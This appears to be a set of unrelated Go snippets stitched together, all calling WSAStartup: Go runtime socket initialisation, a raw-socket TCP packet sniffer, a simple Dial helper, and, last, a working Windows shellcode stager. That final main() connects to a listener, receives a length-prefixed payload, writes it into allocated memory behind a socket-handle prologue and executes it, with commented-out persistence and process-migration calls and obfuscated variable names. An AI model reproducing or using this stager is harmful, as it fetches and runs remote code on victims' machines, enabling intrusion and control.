func sysInit() { var d syscall.WSAData e := syscall.WSAStartup(uint32(0x202), &d) if e != nil { initErr = os.NewSyscallError("WSAStartup", e) } canCancelIO = syscall.LoadCancelIoEx() == nil if syscall.LoadGetAddrInfo() == nil { lookupPort = newLookupPort lookupIP = newLookupIP } hasLoadSetFileCompletionNotificationModes = syscall.LoadSetFileCompletionNotificationModes() == nil if hasLoadSetFileCompletionNotificationModes { // It's not safe to use FILE_SKIP_COMPLETION_PORT_ON_SUCCESS if non IFS providers are installed: // http://support.microsoft.com/kb/2568167 skipSyncNotif = true protos := [2]int32{syscall.IPPROTO_TCP, 0} var buf [32]syscall.WSAProtocolInfo len := uint32(unsafe.Sizeof(buf)) n, err := syscall.WSAEnumProtocols(&protos[0], &buf[0], &len) if err != nil { skipSyncNotif = false } else { for i := int32(0); i < n; i++ { if buf[i].ServiceFlags1&syscall.XP1_IFS_HANDLES == 0 { skipSyncNotif = false break } } } } }
func init() { var d syscall.WSAData e := syscall.WSAStartup(uint32(0x101), &d) if e != 0 { initErr = os.NewSyscallError("WSAStartup", e) } }
func sysInit() { var d syscall.WSAData e := syscall.WSAStartup(uint32(0x202), &d) if e != nil { initErr = os.NewSyscallError("WSAStartup", e) } canCancelIO = syscall.LoadCancelIoEx() == nil if syscall.LoadGetAddrInfo() == nil { lookupIP = newLookupIP } }
func (t *Listener) readRAWSocket() { var d syscall.WSAData err := syscall.WSAStartup(uint32(0x202), &d) if err != nil { log.Fatalln("Error:WSAStartup", err) } fd, err := sysSocket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_IP) if err != nil { log.Fatalln("Error:socket", err) } defer syscall.Close(fd) ip := net.ParseIP(t.addr) if len(t.addr) == 0 || t.addr == "0.0.0.0" { ip = net.IPv4zero } if ip = ip.To4(); ip == nil { log.Fatalln("Error: non-IPv4 address " + t.addr) } la := new(syscall.SockaddrInet4) for i := 0; i < net.IPv4len; i++ { la.Addr[i] = ip[i] } if err := syscall.Bind(fd, la); err != nil { log.Fatalln("Error:Bind", err) } var snapshotLen int32 = 1024 var promiscuous bool = false var timeout time.Duration = 30 * time.Second inet := getInterfaceName() handle, err := pcap.OpenLive(inet, snapshotLen, promiscuous, timeout) if err != nil { log.Fatal(err) } defer handle.Close() packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) for packet := range packetSource.Packets() { if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil { tcp, _ := tcpLayer.(*layers.TCP) src_ip := packet.NetworkLayer().NetworkFlow().Src().String() dest_ip := packet.NetworkLayer().NetworkFlow().Dst().String() t.parsePacket(src_ip, dest_ip, tcp) } } }
// Etablie une connexion via socket à l'aide des librairys WSA (windows). func (c *Conn) Dial(port int, addr [4]byte) (err error) { c.sa = s.SockaddrInet4{Port: port, Addr: addr} fmt.Println("OVERLAPPED") fmt.Println(c.overlapped) err = s.WSAStartup(uint32(0x202), &c.wsadata) if err != nil { return } c.sd, err = s.Socket(s.AF_INET, s.SOCK_STREAM, 6) if err != nil { return } s.Connect(c.sd, &c.sa) return }
func main() { //RSE.Persistence() var WSA_Data syscall.WSAData syscall.WSAStartup(uint32(0x202), &WSA_Data) Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0) Socket_Addr := syscall.SockaddrInet4{Port: 5555, Addr: [4]byte{127, 0, 0, 1}} syscall.Connect(Socket, &Socket_Addr) var Length [4]byte WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &Length[0]} UitnZero_1 := uint32(0) DataReceived := uint32(0) syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil) Length_int := binary.LittleEndian.Uint32(Length[:]) if Length_int < 100 { main() } Shellcode_Buffer := make([]byte, Length_int) var Shellcode []byte WSA_Buffer = syscall.WSABuf{Len: Length_int, Buf: &Shellcode_Buffer[0]} UitnZero_1 = uint32(0) DataReceived = uint32(0) TotalDataReceived := uint32(0) for TotalDataReceived < Length_int { syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil) for i := 0; i < int(DataReceived); i++ { Shellcode = append(Shellcode, Shellcode_Buffer[i]) } TotalDataReceived += DataReceived } Addr := Allocate(uintptr(Length_int + 5)) AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr)) SocketPtr := (uintptr)(unsafe.Pointer(Socket)) AddrPtr[0] = 0xBF AddrPtr[1] = byte(SocketPtr) AddrPtr[2] = 0x00 AddrPtr[3] = 0x00 AddrPtr[4] = 0x00 for BpuAKrJxfl, IIngacMaBh := range Shellcode { AddrPtr[BpuAKrJxfl+5] = IIngacMaBh } //RSE.Migrate(Addr, Length_int) syscall.Syscall(Addr, 0, 0, 0, 0) }